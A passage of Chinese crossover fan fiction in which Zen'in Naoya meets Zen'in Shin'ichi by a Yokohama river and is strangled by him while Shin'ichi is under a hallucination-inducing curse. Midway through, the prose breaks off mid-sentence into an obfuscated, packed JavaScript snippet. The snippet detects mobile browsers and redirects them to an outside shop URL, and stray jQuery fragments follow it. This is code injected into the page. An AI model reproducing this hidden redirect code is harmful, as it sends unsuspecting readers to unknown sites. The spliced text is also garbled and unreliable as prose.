护士怀中的孩子仍在哭闹不休,察觉到护士投来的歉意目光,禅院慎一点头让开道路,继续向前走去。 但他没有注意到的是,在转身瞬间,护士神情越发恍惚,赤红色血手印蔓延到她的锁骨,并继续攀爬到脖颈。 直到彻底蚕食她的意识。 护士怀中的孩子依旧哭闹着,但比起普通孩童的哭闹,他的哭声更多了些许悲戚,还有常人无法察觉的疯狂。 某种意义上也呼应了这孩子日后的命运。 一周后,异能特务科和部分有渠道的组织势力都会记下这样一份情报档案—— 梦野久作,男,六岁。 在横滨某医院觉醒异能【脑髓地狱】,由于在场都是普通人没有防范,极其快速的引起小规模骚动,造成大量人员伤亡。 现梦野久作下落不明,疑似处于横滨黑手党控制中,后续情报将继续跟进。 ———— “今天就这些了,直哉少爷辛苦。”辅助监督勾去手中笔记本的最后一项任务,向禅院直哉确认道:“现在回酒店吗?” 禅院直哉收刀入鞘,抬头看向不远处显眼的五座大楼,被大楼玻璃反射的阳光刺激的微微眯眼:“你先回去吧。” “我在附近逛一逛。” 辅助监督自然没有异议。 毕竟提出也没用,辅助监督工作多年的丰富经验告诉他,实力差距摆在这里,就算跟上去也会被甩掉的。 而且面前可是一位准一级咒术师,配备的武器也是最好的,哪怕是在近期相对动荡的横滨,能够对禅院直哉造成威胁的也没多少人。 更何况近期横滨各势力自顾不暇,在无冤无仇的情况下卷进特殊事件的概率实在太小,除非太过倒霉。 虽然客观条件如上,但辅助监督还是努力和禅院直哉约定好了去找他的时间,察觉到某位少爷不爽的视线,辅助监督尊敬鞠躬。 不过这位大少爷近期离家出走的兴致也太高了吧!前两天刚离家出走到东京,还掺和了天元大人的事件。 今天又不知道为什么,拽着个脸就出门了,还染了新发型,中午在地图上中挑来挑去,最后选择来横滨看一看。 不过,即便心怀工作的浓重怨气,但不得不承认对方的新造型非常的好看,并且相当有时尚气息,配合着华贵和服极其吸睛。 就光今天下午就引得许多路人回眸,再回想下禅院家主的长相,不得不感慨一声这位少爷的母亲得是什么样的美人。 禅院直哉差不多能猜到辅助监督现在在想什么,但并不介意对方的腹诽,或者说根本没有心力去关注。 虽然今天下午足足出了三个一级任务,将多只难缠诅咒斩于马下,但如此频繁的战斗依旧没有完全宣泄掉禅院直哉心中的烦闷。 他很烦。 真的很烦。 除去家中繁忙无趣的各项事务,前些日子受到某人冷待也是烦闷心情的源头,最后凝聚成如同薄雾般笼罩心头的怅然感。 但到底是委屈是心虚,禅院直哉分辨不出,而他脑内接受过的观念也彻底分为两派,不断的进行互搏。 禅院直哉还是会想起禅院慎一的那些注视,有以前的,也有现在的,以及那天晚上的,就这样深深刻在他的记忆中。 那个人是不是真的不在意了?可没有失望难道不是一件好事吗,为什么自己会如此失落。 禅院直哉不愿深思,在前几天染完发后,他又一次对老宅产生了厌烦,因为实在不想回家,便选择出来逛上几天。 并没有心情去打卡著名景点,也没有欲望前往人群聚集处娱乐消费,禅院直哉慢慢走着,开始漫无目的的闲逛。 走着走着禅院直哉越发远离市中心,现在已经是傍晚,太阳的余晖照出赤红晚霞,他顺着脚下延伸的路走到了河边。 夏日傍晚比起白天凉爽许多,人又在河边,吹来的风不再燥热,反而有种湿润的感觉,夹杂着些许水汽扑面而来。 在这样的氛围下,禅院直哉心情平复些许,他向前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998080|148116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步行着,继续思考如何顺畅处理掉自己的烦闷心情。 直到那个身影映入眼帘。 黑发男人身影在禅院直哉视野里出现的瞬间便捕捉,哪怕离得很远,多年来烂熟于心的轮廓仍旧让金发青年感到熟悉。 禅院直哉立刻认出来者何人。 此人正是是禅院慎一。 这个点他怎么在横滨? 但在这个问题在脑内开始盘旋之前,惊喜更先涌了上来。 再见面了。 一定是上次人太多了吧?如果这次能够鼓起勇气,有机会和对方再聊一聊的话,关系会缓和些吗? 而且这次他居然完全没有避让!并不像之前那般刻意避开自己,也没有感受到对方抗拒的气场,这是不是意味着—— 怀着天真想法的禅院直哉加快步伐,他走的太急了,也太轻信于过往经历中对方对他独一份的纵容与温柔。 以至于他就这样忽视了对方身上那些微妙的不对劲,在吞咽苦果前毫无防备,如同飞蛾扑火般靠近危险。 金发青年径直走到男人面前,努力调整试图露出适合这场重逢的完美表情后,他笑着出声搭话: “好巧啊。” 禅院直哉面上带笑,语气期待又亲昵,他仰起头想看看对方的表情,却忽得撞进一双蕴含着冰冷恶意的双眸。 待他分辨出这双眼睛中居然饱含杀意的时候已经太迟了——下一秒禅院直哉喉间一紧,呼吸的感觉也凝滞起来 一切都发生的太快,禅院直哉根本反应不过来,而且两人的实力差距也不容他抗拒,反应过来时已被彻底控制。 金发青年的脖颈瞬间便被攥住,下一瞬便被单手提起,他表情惊恐,一时间不能理解到底发生了什么。 无法呼吸了…… 怎么回事,为什么会这样…… 与禅院直哉得惊慌失措不同,此时的禅院慎一心情畅快至极,在异能力的作用下,无数幻影在男人耳边呢喃。 赤血色血手印在禅院慎一的脖颈处,试图向上蔓延却难进分毫,但仍旧成功影响了男人的理智状态,也让他看起来极其可怖。 这个幻影似乎有些不同呢。 保持着伪善的嘴脸,表情天真到让人想笑,和那些有着憎恶表情的影子完全不同,却莫名让人更加火大。 对啊,那个人就是这样,无论是毫无自觉的靠近,还是毫无尊重的行动,都这样自私自利到完全不顾他人—— 口出恶言也好,有意谄媚也罢,面前身影如同身边无数幻觉般,令禅院慎一感到发自内心的不快。 没关系,让这家伙闭嘴就好了。 反正只是幻觉。 所以。 ……让这家伙去死就好了。 黑发男人如同探囊取物般轻松握住金发青年的脖颈,带着玩弄的残忍心态,他并不着急一击必杀。 在看见金发青年的痛苦表情后,原本面无表情的黑发男人忽得勾起唇角。 他缓缓收紧手掌,感受着手中猎物的挣扎,快意从心中涌出。 黑发男人笑了,他的脸上同样带着失而复得的喜悦,还有澎湃的杀意。他享受着对方的痛苦,带着笑意回答道: “是啊,好巧啊。”